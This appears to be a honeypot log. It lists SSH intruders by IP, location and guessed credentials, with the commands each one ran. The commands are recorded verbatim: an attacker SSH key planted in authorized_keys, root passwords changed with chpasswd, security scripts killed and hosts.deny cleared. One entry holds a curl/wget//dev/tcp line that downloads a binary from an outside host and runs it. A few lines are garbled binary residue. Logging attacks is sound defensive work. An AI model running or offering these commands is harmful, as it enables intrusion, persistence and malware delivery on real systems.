2026-07-16 21:21 EDT ยท as oracle/1qaz2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_mekong_root (113.164.66.10) โ€” Bแบฏc Giang, Vietnam ยท 2 sessions ยท 22 cmds
2026-07-16 20:36 EDT ยท as oracle/test1234, user/password
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ passwd oracle/test1234 โ†’ cat /
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nda3Y8bTmyKSF\nda3Y8bTmyKSF"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nda3Y8bTmyKSF\nda3Y8bTmyKSF\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ savage_nile_root (41.199.252.145) โ€” Cairo, Egypt ยท 1 session ยท 1 cmd
2026-07-16 19:25 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ nocturnal_clog_root (91.92.42.147) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-13 08:09 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ brazen_jade_root (121.40.152.135) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-16 11:27 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ rogue_rendang_root (118.99.115.97) โ€” East Jakarta, Indonesia ยท 1 session ยท 2 cmds
2026-07-16 10:23 EDT ยท as oracle/oracle#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ feral_phantom_root (170.82.129.8) โ€” Providencia, Chile ยท 1 session ยท 19 cmds
2026-07-16 10:01 EDT ยท as root/@qwer2025
Credential injection via chpasswd โ†’ cleanup of previous scripts and hosts file โ†’ SSH directory hardening with chattr โ†’ CPU and memory profiling via /proc/cpuinfo and free โ†’ binary inspection of ls โ†’ system architecture enumeration (uname, top) โ†’ cron inspection โ†’ user enumeration via w
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:8xkHp92LG6h2"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ jittery_jade_root (218.207.25.249) โ€” Beijing, China ยท 1 session ยท 19 cmds
2026-07-16 09:46 EDT ยท as root/admin
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:HG8H1frwWTzt"|chpasswd|bash โ†’ pkill -9 secure.sh; pkill -9 auth.sh โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name |
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:HG8H1frwWTzt"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_liberty_root_207 (47.251.102.207) โ€” Minkler, United States ยท 1 session ยท 1 cmd
2026-07-16 09:15 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ brisk_panda_root (124.226.216.189) โ€” Liuzhou, China ยท 2 sessions ยท 4 cmds
2026-07-16 06:29 EDT ยท as oracle/123456789, oracle/system
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ hollow_chai_root (103.173.99.226) โ€” New Delhi, India ยท 1 session ยท 20 cmds
2026-07-16 07:16 EDT ยท as docker/docker123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\n2NpBpJyqAUEl\n2NpBpJyqAUEl"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\n2NpBpJyqAUEl\n2NpBpJyqAUEl\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brisk_silk_root_31 (121.41.116.31) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-16 02:04 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ velvet_clog_sol (91.92.47.117) โ€” Amsterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-07-16 00:17 EDT ยท as sol/sol
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m
๐ŸŽญ placid_dragon_root_89 (14.103.91.89) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-15 21:40 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ brisk_void_root (46.62.194.23) โ€” Helsinki, Finland ยท 1 session ยท 2 cmds
2026-07-15 19:56 EDT ยท as oracle/test1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_k-pop_sol (14.63.192.228) โ€” Seongnam-si, South Korea ยท 4 sessions ยท 4 cmds
2026-07-15 11:28 EDT ยท as pi/pi, pi/raspberry, root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—4
โ†ณ OS/kernel identification
๐ŸŽญ rusty_bonsai_root (133.18.181.51) โ€” Osaka, Japan ยท 1 session ยท 1 cmd
2026-07-15 16:09 EDT ยท as deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ zealous_shadow_sol (197.220.92.185) โ€” Mogadishu, Somalia ยท 1 session ยท 2 cmds
2026-07-15 15:23 EDT ยท as oracle/Oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_clog_root (91.92.40.231) โ€” Amsterdam, The Netherlands ยท 2 sessions ยท 18 cmds
2026-07-15 15:11 EDT ยท as root/admin, root/root
PATH manipulation via export โ†’ kernel fingerprinting through repeated uname -s -v -n -m calls โ†’ kernel version extraction from /proc/version โ†’ OS identification via /etc/os-release check.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—2
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—2
$ /bin/uname -s -v -n -m 2 > /dev/null ร—2
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—2
$ busybox uname -s -v -n -m 2 > /dev/null ร—2
$ ( [ -f /proc/version ] ร—2
$ [ -f /proc/version ] ร—2
$ head -1 /proc/version | cut -d -f1 ร—2
$ [ -f /etc/os-release ] ร—2
๐ŸŽญ wired_dragon_root_3 (39.106.160.3) โ€” Beijing, China ยท 1 session ยท 5 cmds
2026-07-15 13:01 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://101.133.170.17:7971/linux -o /tmp/ovvtyWXci4; if [ ! -f /tmp/ovvtyWXci4 ]; then wget http://101.133.170.17:7971/linux -O /tmp/ovvtyWXci4; fi; if [ ! -f /tmp/ovvtyWXci4 ]; then exec 6<>/dev/tcp/101.133.170.17/7971 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ovvtyWXci4 ; chmod +x /tmp/ovvtyWXci4 && /tmp/ovvtyWXci4 GdIqrrfqz1BYvp3aTF/Gyl9a0oyhWVrT9bqpNcNnYtwqpbb+xVZRpYzaUl7SzV1M3YKiWFfH/bOvK9JlZcs1rrrqz1JRvpTTWF/ExVtC35u+UVvT9bqrNcBgbMgtpLDy3VNYoYLaUVvSzV5SxZ6pUlTK/be8KsJlesEvsrH0yExZpp7RVVHJzEhT252+WVHO6rKrKdxlY8Ahq7LwykJZoJ3FU1vP0llQ04KiW1TH87qkKNJlZcY1qbbqzlNGop7RW1/Oz0hT05++WVPT9rGqNcBkY8gsrbHx3VZfvp3ZUEbJyUZQ2JuqUFHE/KOtK8N6ZcEosrLzzUxZp5bcW1/N3FxVxZ2gXUzK8K2tIsduY8Ivq6PwykxZoJ/FU1HL0l9R0ZqiUFrd97qyKsJiesMtrK33x1VYoJ3LU1rI0lpQ2oKhXUzI/rWvK8Z0ZcItsrL301Bbvp3fW1LKxFlby5S+WVHJ6rCkNcBnZcgsq7D23VNRooLaVlzSzVBUxZ2iWFjE9LCvO8FtessssrHwy0xaopvRW17Nz0hT05y+X1TT9bCrNcFjbsQrrbDx3VNYoYLaUVvSzV9QxZ2nWljK9berO8NsZtwpqbfqzFFdvpnSWFHIyV9C2pyhRlPO962tLMJ6ZcUhq7rzzEJZoJ3FVlvSxVhM3pyqUFHJ8aOtKcZ6ZsAqsrLzxUxfo5bSVFDL3FlQ34KiWlLT9bCvNcNlbcgjpbH23VNaooLaV1rSzlpWxZ2jUVjL9LClO8ZjesMrq63yzkxappbTU1rLl+7+hgT6Bgee1HeScyttkUMRedtE9mX7Poca5RzD2MY=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ovvtyWXci4 && /tmp/ovvtyWXci4 GdIqrrfqz1BYvp3aTF/Gyl9a0oyhWVrT9bqpNcNnYtwqpbb+xVZRpYzaUl7SzV1M3YKiWFfH/bOvK9JlZcs1rrrqz1JRvpTTWF/ExVtC35u+UVvT9bqrNcBgbMgtpLDy3VNYoYLaUVvSzV5SxZ6pUlTK/be8KsJlesEvsrH0yExZpp7RVVHJzEhT252+WVHO6rKrKdxlY8Ahq7LwykJZoJ3FU1vP0llQ04KiW1TH87qkKNJlZcY1qbbqzlNGop7RW1/Oz0hT05++WVPT9rGqNcBkY8gsrbHx3VZfvp3ZUEbJyUZQ2JuqUFHE/KOtK8N6ZcEosrLzzUxZp5bcW1/N3FxVxZ2gXUzK8K2tIsduY8Ivq6PwykxZoJ/FU1HL0l9R0ZqiUFrd97qyKsJiesMtrK33x1VYoJ3LU1rI0lpQ2oKhXUzI/rWvK8Z0ZcItsrL301Bbvp3fW1LKxFlby5S+WVHJ6rCkNcBnZcgsq7D23VNRooLaVlzSzVBUxZ2iWFjE9LCvO8FtessssrHwy0xaopvRW17Nz0hT05y+X1TT9bCrNcFjbsQrrbDx3VNYoYLaUVvSzV9QxZ2nWljK9berO8NsZtwpqbfqzFFdvpnSWFHIyV9C2pyhRlPO962tLMJ6ZcUhq7rzzEJZoJ3FVlvSxVhM3pyqUFHJ8aOtKcZ6ZsAqsrLzxUxfo5bSVFDL3FlQ34KiWlLT9bCvNcNlbcgjpbH23VNaooLaV1rSzlpWxZ2jUVjL9LClO8ZjesMrq63yzkxappbTU1rLl+7+hgT6Bgee1HeScyttkUMRedtE9mX7Poca5RzD2MY=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/ybK8yrQJ4C
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ listless_lantern_root_179 (49.232.195.179) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-15 12:47 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ rusty_eagle_root (141.11.88.237) โ€” Crugers, United States ยท 31 sessions ยท 31 cmds
2026-07-15 10:58 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ cryptic_junk_root (112.120.171.95) โ€” Whampoa Estate, Hong Kong ยท 2 sessions ยท 39 cmds
2026-07-06 11:21 EDT ยท as admin/123456, root/root
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo "root:sKmlQCDRTDSg"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo -e "123456\nWKB3XQUPJfhx\nWKB3XQUPJfhx"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nWKB3XQUPJfhx\nWKB3XQUPJfhx\n"|passwd
๐ŸŽญ clandestine_junk_root (47.83.125.189) โ€” Hong Kong, Hong Kong ยท 32 sessions ยท 32 cmds
2026-07-15 08:54 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
